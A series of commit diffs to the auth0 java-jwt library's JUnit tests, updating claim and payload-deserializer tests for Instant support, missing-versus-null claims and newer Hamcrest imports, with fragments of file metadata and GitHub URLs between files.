-    public void shouldGetIntValue() throws Exception {
+    public void shouldGetIntValue() {
         JsonNode value = mapper.valueToTree(123);
         Claim claim = claimFromNode(value);
 
@@ -75,15 +76,15 @@ public void shouldGetIntValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullIntIfNotIntValue() throws Exception {
+    public void shouldGetNullIntIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asInt(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123");
         assertThat(claimFromNode(stringValue).asInt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetLongValue() throws Exception {
+    public void shouldGetLongValue() {
         JsonNode value = mapper.valueToTree(Long.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -92,15 +93,15 @@ public void shouldGetLongValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullLongIfNotIntValue() throws Exception {
+    public void shouldGetNullLongIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asLong(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("" + Long.MAX_VALUE);
         assertThat(claimFromNode(stringValue).asLong(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDoubleValue() throws Exception {
+    public void shouldGetDoubleValue() {
         JsonNode value = mapper.valueToTree(1.5);
         Claim claim = claimFromNode(value);
 
@@ -109,32 +110,35 @@ public void shouldGetDoubleValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDoubleIfNotDoubleValue() throws Exception {
+    public void shouldGetNullDoubleIfNotDoubleValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDouble(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123.23");
         assertThat(claimFromNode(stringValue).asDouble(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDateValue() throws Exception {
-        JsonNode value = mapper.valueToTree(1476824844L);
+    public void shouldGetNumericDateValue() {
+        long seconds = 1476824844L;
+        JsonNode value = mapper.valueToTree(seconds);
         Claim claim = claimFromNode(value);
 
-        assertThat(claim.asDate(), is(notNullValue()));
-        assertThat(claim.asDate(), is(new Date(1476824844L * 1000)));
+        assertThat(claim.asDate(), is(new Date(seconds * 1000)));
+        assertThat(claim.asInstant(), is(Instant.ofEpochSecond(seconds)));
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() throws Exception {
+    public void shouldGetNullIfNotNumericDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(objectValue).asInstant(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(stringValue).asInstant(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetStringValue() throws Exception {
+    public void shouldGetStringValue() {
         JsonNode value = mapper.valueToTree("string");
         Claim claim = claimFromNode(value);
 
@@ -143,15 +147,15 @@ public void shouldGetStringValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringIfNotStringValue() throws Exception {
+    public void shouldGetNullStringIfNotStringValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asString(), is(nullValue()));
         JsonNode intValue = mapper.valueToTree(12345);
         assertThat(claimFromNode(intValue).asString(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetArrayValueOfCustomClass() throws Exception {
+    public void shouldGetArrayValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(new UserPojo[]{new UserPojo("George", 1), new UserPojo("Mark", 2)});
         Claim claim = claimFromNode(value);
 
@@ -160,7 +164,7 @@ public void shouldGetArrayValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayValue() throws Exception {
+    public void shouldGetArrayValue() {
         JsonNode value = mapper.valueToTree(new String[]{"string1", "string2"});
         Claim claim = claimFromNode(value);
 
@@ -169,23 +173,23 @@ public void shouldGetArrayValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayIfNullValue() throws Exception {
+    public void shouldGetNullArrayIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullArrayIfNonArrayValue() throws Exception {
+    public void shouldGetNullArrayIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfArrayClassMismatch() throws Exception {
+    public void shouldThrowIfArrayClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -194,7 +198,7 @@ public void shouldThrowIfArrayClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetListValueOfCustomClass() throws Exception {
+    public void shouldGetListValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(Arrays.asList(new UserPojo("George", 1), new UserPojo("Mark", 2)));
         Claim claim = claimFromNode(value);
 
@@ -203,7 +207,7 @@ public void shouldGetListValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetListValue() throws Exception {
+    public void shouldGetListValue() {
         JsonNode value = mapper.valueToTree(Arrays.asList("string1", "string2"));
         Claim claim = claimFromNode(value);
 
@@ -212,23 +216,23 @@ public void shouldGetListValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullListIfNullValue() throws Exception {
+    public void shouldGetNullListIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullListIfNonArrayValue() throws Exception {
+    public void shouldGetNullListIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfListClassMismatch() throws Exception {
+    public void shouldThrowIfListClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -237,23 +241,23 @@ public void shouldThrowIfListClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetNullMapIfNullValue() throws Exception {
+    public void shouldGetNullMapIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullMapIfNonArrayValue() throws Exception {
+    public void shouldGetNullMapIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetMapValue() throws Exception {
+    public void shouldGetMapValue() {
         Map<String, Object> map = new HashMap<>();
         map.put("text", "extraValue");
         map.put("number", 12);
@@ -292,7 +296,7 @@ public void shouldThrowIfAnExtraordinaryExceptionHappensWhenParsingAsGenericMap(
     }
 
     @Test
-    public void shouldGetCustomClassValue() throws Exception {
+    public void shouldGetCustomClassValue() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
@@ -302,17 +306,59 @@ public void shouldGetCustomClassValue() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfCustomClassMismatch() throws Exception {
+    public void shouldThrowIfCustomClassMismatch() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
         exception.expect(JWTDecodeException.class);
         claim.as(String.class);
     }
 
+    @Test
+    public void shouldReturnNullForMissingAndNullClaims() {
+        JsonNode missingValue = MissingNode.getInstance();
+        Claim missingClaim = claimFromNode(missingValue);
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.isNull(), is(false));
+        assertNull(missingClaim.as(String.class));
+        assertNull(missingClaim.asString());
+        assertNull(missingClaim.asBoolean());
+        assertNull(missingClaim.asDate());
+        assertNull(missingClaim.asDouble());
+        assertNull(missingClaim.asLong());
+        assertNull(missingClaim.asInt());
+        assertNull(missingClaim.asInstant());
+        assertNull(missingClaim.asMap());
+        assertNull(missingClaim.asList(String.class));
+        assertNull(missingClaim.asArray(String.class));
+
+        JsonNode nullValue = mapper.valueToTree(null);
+        Claim nullClaim = claimFromNode(nullValue);
+        assertThat(nullClaim.isMissing(), is(false));
+        assertThat(nullClaim.isNull(), is(true));
+        assertNull(nullClaim.as(String.class));
+        assertNull(nullClaim.asString());
+        assertNull(nullClaim.asBoolean());
+        assertNull(nullClaim.asDate());
+        assertNull(nullClaim.asDouble());
+        assertNull(nullClaim.asLong());
+        assertNull(nullClaim.asInt());
+        assertNull(nullClaim.asInstant());
+        assertNull(nullClaim.asMap());
+        assertNull(nullClaim.asList(String.class));
+        assertNull(nullClaim.asArray(String.class));
+    }
+
+    @Test
+    public void shouldReturnNullForInvalidArrayValue() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        Claim claim = claimFromNode(value);
+        assertNull(claim.asArray(String.class));
+    }
+
     @SuppressWarnings({"unchecked", "RedundantCast"})
     @Test
-    public void shouldGetAsMapValue() throws Exception {
+    public void shouldGetAsMapValue() {
         JsonNode value = mapper.valueToTree(Collections.singletonMap("key", new UserPojo("john", 123)));
         Claim claim = claimFromNode(value);
 
@@ -323,113 +369,132 @@ public void shouldGetAsMapValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingMissingNode() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingMissingNode() {
         JsonNode value = MissingNode.getInstance();
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
-        assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(true));
+        assertThat(claim.isNull(), is(false));
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullNode() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingNullNode() {
         JsonNode value = NullNode.getInstance();
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
         assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullValue() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
-        assertThat(claim, is(instanceOf(NullClaim.class)));
         assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingObject() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingObject() {
         JsonNode value = mapper.valueToTree(new Object());
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingArray() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingArray() {
         JsonNode value = mapper.valueToTree(new String[]{});
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingList() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingList() {
         JsonNode value = mapper.valueToTree(new ArrayList<String>());
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingStringValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingStringValue() {
         JsonNode value = mapper.valueToTree("");
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingIntValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingIntValue() {
         JsonNode value = mapper.valueToTree(Integer.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDoubleValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDoubleValue() {
         JsonNode value = mapper.valueToTree(Double.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDateValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDateValue() {
         JsonNode value = mapper.valueToTree(new Date());
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingBooleanValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingBooleanValue() {
         JsonNode value = mapper.valueToTree(Boolean.TRUE);
         Claim claim = claimFromNode(value);
 
         assertThat(claim, is(notNullValue()));
         assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
         assertThat(claim.isNull(), is(false));
+        assertThat(claim.isMissing(), is(false));
+    }
+
+    @Test
+    public void shouldReturnNullIsTrue() {
+        JsonNode value = mapper.valueToTree(null);
+        Claim claim = claimFromNode(value);
+
+        assertThat(claim, is(notNullValue()));
+        assertThat(claim, is(instanceOf(JsonNodeClaim.class)));
+        assertThat(claim.isNull(), is(true));
+        assertThat(claim.isMissing(), is(false));
     }
 
     @Test
@@ -438,4 +503,22 @@ public void shouldDelegateToJsonNodeToString() {
         Claim claim = claimFromNode(value);
         assertThat(claim.toString(), is(value.toString()));
     }
+
+    @Test
+    public void shouldConvertToString() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        JsonNode nullValue = mapper.valueToTree(null);
+        JsonNode missingValue = MissingNode.getInstance();
+
+        Claim claim = claimFromNode(value);
+        Claim nullClaim = claimFromNode(nullValue);
+        Claim missingClaim = claimFromNode(missingValue);
+
+        assertThat(claim.toString(), is("{\"name\":\"john\",\"id\":123}"));
+        assertThat(nullClaim.isNull(), is(true));
+        assertThat(nullClaim.toString(), is("Null claim"));
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.toString(), is("Missing claim"));
+
+    }
 }
\ No newline at end of fileu}(jG  (b15f3dad7d7ade16371b3190a041598266f0547ej  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  removedj  K j  KMj  KMj  https://github.com/auth0/java-jwt/blob/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  X  @@ -1,77 +0,0 @@
-package com.auth0.jwt.impl;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import static org.hamcrest.Matchers.is;
-import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
-
-public class NullClaimTest {
-    private NullClaim claim;
-
-    @Before
-    public void setUp() throws Exception {
-        claim = new NullClaim();
-    }
-
-    @Test
-    public void shouldBeNull() throws Exception {
-        assertThat(claim.isNull(), is(true));
-    }
-
-    @Test
-    public void shouldGetAsBoolean() throws Exception {
-        assertThat(claim.asBoolean(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsInt() throws Exception {
-        assertThat(claim.asInt(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsLong() throws Exception {
-        assertThat(claim.asLong(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsDouble() throws Exception {
-        assertThat(claim.asDouble(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsString() throws Exception {
-        assertThat(claim.asString(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsDate() throws Exception {
-        assertThat(claim.asDate(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsArray() throws Exception {
-        assertThat(claim.asArray(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsList() throws Exception {
-        assertThat(claim.asList(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsMap() throws Exception {
-        assertThat(claim.asMap(), is(nullValue()));
-    }
-
-    @Test
-    public void shouldGetAsCustomClass() throws Exception {
-        assertThat(claim.as(Object.class), is(nullValue()));
-    }
-
-    @Test
-    public void shouldHaveToString() {
-        assertThat(claim.toString(), is("Null Claim"));
-    }
-}
\ No newline at end of fileu}(jG  (2f053830821b194992e531d33c8203bb88338603j  Alib/src/test/java/com/auth0/jwt/impl/PayloadClaimsHolderTest.javaj  renamedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  Xu  @@ -7,25 +7,24 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
-public class ClaimsHolderTest {
+public class PayloadClaimsHolderTest {
 
-    @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        ClaimsHolder holder = new PayloadClaimsHolder(claims);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));
-        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", (Object) "auth0")));
+        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", "auth0")));
     }
 
     @Test
-    public void shouldGetNotNullClaims() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(null);
+    public void shouldGetNotNullClaims() {
+        ClaimsHolder holder = new PayloadClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));previous_filename:lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javau}(jG  (2d80bed9fb798b68c9c6497e4ea8d766fb157038j  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  K%j  K!j  KFj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XC$  @@ -12,17 +12,18 @@
 import com.fasterxml.jackson.databind.node.*;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.collection.IsEmptyCollection;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.io.StringReader;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
@@ -35,7 +36,7 @@ public class PayloadDeserializerTest {
     private PayloadDeserializer deserializer;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new PayloadDeserializer(new ObjectMapper().reader());
     }
 
@@ -92,10 +93,13 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("auth0"));
         assertThat(payload.getSubject(), is("emails"));
-        assertThat(payload.getAudience(), is(IsCollectionContaining.hasItem("users")));
+        assertThat(payload.getAudience(), is(IsIterableContaining.hasItem("users")));
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
+        assertThat(payload.getIssuedAtAsInstant().getEpochSecond(), is(10101010L));
+        assertThat(payload.getExpiresAtAsInstant().getEpochSecond(), is(11111111L));
+        assertThat(payload.getNotBeforeAsInstant().getEpochSecond(), is(10101011L));
         assertThat(payload.getId(), is("idid"));
 
         assertThat(payload.getClaim("roles").asString(), is("admin"));
@@ -109,7 +113,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingArrayNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         List<JsonNode> subNodes = new ArrayList<>();
         TextNode textNode1 = new TextNode("one");
@@ -122,23 +126,23 @@ public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(2)));
-        assertThat(values, is(IsCollectionContaining.hasItems("one", "two")));
+        assertThat(values, is(IsIterableContaining.hasItems("one", "two")));
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingTextNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("something");
         tree.put("key", textNode);
 
         List<String> values = deserializer.getStringOrArray(tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(1)));
-        assertThat(values, is(IsCollectionContaining.hasItems("something")));
+        assertThat(values, is(IsIterableContaining.hasItems("something")));
     }
 
     @Test
-    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception {
+    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
@@ -149,7 +153,7 @@ public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -159,7 +163,7 @@ public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNodeValue() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -168,7 +172,7 @@ public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         IntNode node = new IntNode(456789);
         tree.put("key", node);
@@ -177,65 +181,65 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
         assertThat(values, is(nullValue()));
     }
 
-
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() throws Exception {
+    public void shouldGetNullInstantWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() throws Exception {
+    public void shouldGetNullInstantWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant  = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
-    public void shouldThrowWhenParsingNonNumericNode() throws Exception {
+    public void shouldThrowWhenParsingNonNumericNode() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The claim 'key' contained a non-numeric date value.");
 
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("123456789");
         tree.put("key", node);
 
-        deserializer.getDateFromSeconds(tree, "key");
+        deserializer.getInstantFromSeconds(tree, "key");
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
     }
 
+
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetLargeInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(notNullValue()));
-        assertThat(date.getTime(), is(seconds * 1000));
-        assertThat(date.getTime(), is(2147493647L * 1000));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(notNullValue()));
+        assertThat(instant.toEpochMilli(), is(seconds * 1000));
+        assertThat(instant.toEpochMilli(), is(2147493647L * 1000));
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -245,7 +249,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -254,7 +258,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
